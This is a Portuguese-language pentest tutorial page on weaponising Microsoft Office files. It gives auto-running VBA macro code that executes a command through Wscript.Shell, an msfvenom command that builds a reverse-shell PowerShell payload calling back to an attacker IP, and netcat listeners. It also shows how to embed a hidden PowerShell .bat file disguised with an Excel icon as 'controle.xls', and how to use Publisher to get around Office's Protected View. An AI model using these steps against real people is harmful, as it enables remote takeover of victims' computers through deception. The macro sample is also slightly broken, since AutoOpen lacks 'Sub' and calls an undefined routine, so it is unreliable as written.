# Office Word

### Macro (RCE)

Crie um arquivo word (de preferência com a extensão `.doc` ou `.docm`) e depois acesse suas macros na tab `View` > `Macros` > `View Macros`. Selecione para salvar a macro no próprio arquivo (na parte de baixo do popup), e depois clique em `Create`. Feito isso, irá abir uma nova janela com uma macro já escrita (código este, sem funcionalidade, pois é apenas para demonstração), então utilize o código abaixo para gerar a macro maliciosa, alterando é claro, o comando que deseja que o host alvo execute, que está localizado na variável `MyPayload`.

```vba
AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    EvilMacro
End Sub

Sub EvilMacro()
    Dim MyPayload As String

    MyPayload = "<Aqui irá conter o>"
    MyPayload = MyPayload + "<código que será executado no>"
    MyPayload = MyPayload + "<host alvo>"

    CreateObject("Wscript.Shell").Run MyPayload
End Sub
```

A função `AutoOpen` serve para executar a macro assim que o arquivo for aberto, enquanto o `Document_Open` serve para executar a macro mesmo se o Word já estiver aberto, então caso alguém clique em `Abrir` e selecionar o nosso arquivo malicioso, a macro irá ser executado da mesma forma. E por último, temos `EvilMacro`, que é onde contém de fato a execução do código.

Alguns pontos importantes devem ser notados aqui. O primeiro dele é que, assim que o usuário abrir esse arquivo pela primeira vez, a macro não será executada. Isso porque o Word bloqueia isso por padrão, então o usuário terá que clicar na barra superior informando que realmente deseja executar a macro. Isso é algo muito comum de acontecer, então as pessoas geralmente permitem a execução de macros, devido ser um recurso útil (e é claro, perigoso).

Outro ponto é que, não podemos utilizar variáveis com mais de 255 caracteres no VBA, então por isso dividimos a variável `MyPayload` em várias linhas, concatenando o seu conteúdo para termos mais de 255 caracteres.



#### Criando Payload Malicioso

Para isso, podemos utilizar o msfvenom para gerar nosso payload e pegarmos uma reverse shell com netcat.

```bash
sudo msfvenom -p windows/shell_reverse_tcp LHOST=<ip_atacante> LPORT=<porta> -f hta-psh -o <file.hta>
```

Como dito, o VBA não irá aceitar strings com mais de 255 caracteres, então devemos quebrá-la em partes. Abra o arquivo .hta gerado com o comando acima e copie somente a parte `powershell.exe -nop -w hidden -e <base64>`, e quebre-a em partes utilizando o link abaixo (sessão Python), para ver como automatizar essa quebra de strings.

{% content-ref url="../../programacao/python" %}
[python](../../programacao/python)
{% endcontent-ref %}

Feito isso, basta alterar o script acima, lembrando de alterar o script do Python para que fique com a variável com o nome `MyPayload` (caso esteja seguindo este passo-a-passo).&#x20;

Agora, abra um listener com o netcat utilizando o comando abaixo e espere que o arquivo malicioso seja executado no host alvo.

```bash
nc -nlvp <port>
```



### OLE (Object Linking and Embedding)

Neste cenário de ataque, é incorporado um arquivo de lote do Windows em um documento do Microsoft Word. Ou seja, vamos inserir um arquivo `.bat` dentro de um arquivo `docx`.

Primeiro crie um arquivo `<file.bat>`, com o contéudo abaixo. Note que estamos usando o mesmo payload criado no exemplo anterior, através do msfvenom.

```bash
START powershell.exe -nop -w hidden -e <base64>
```

Agora crie um arquivo word, depois vá na aba `Insert`, depois clique em `Object` (está na seção `Text`). Ao abrir o popup, clique na aba `Create from File`, e selecione o arquivo `.bat` gerado anteriormente, clicando no arquivo `Browser`. Clicando em `Display as icon`, irá aparecer um botão abaixo com o nome `Change Icon`, que nos leva a um novo popup. Selecione o ícone de algum outro software (pode ser o ícone do Excel, para parecer algo mais confiável), e altera o nome para algo como `controle.xls` (novamente, para parecer algo mais confiável).

No terminal Linux, abra um listener com o comando abaixo:

```bash
nc -nlvp <port>
```

Agora uma reverse shell será criada no netcat assim que o arquivo .bat (que está se passando por um xls) for executado.

{% hint style="success" %}
**DICA**: Quando um arquivo word/excel é baixado da internet, o Office automaticamente habilita o `Modo de Exibição Protegido`, para proteger contra esse tipo de ataque. Uma maneira de driblarmos isso, é fazermos o mesmo processo de criar um arquivo malicioso utilizando o Publisher (é basicamente igual o word o processo de criação), já que este não possui mecanismo de defesa. O lado ruim disso, é que poucas pessoas instalam/usam o Publihsher.
{% endhint %}
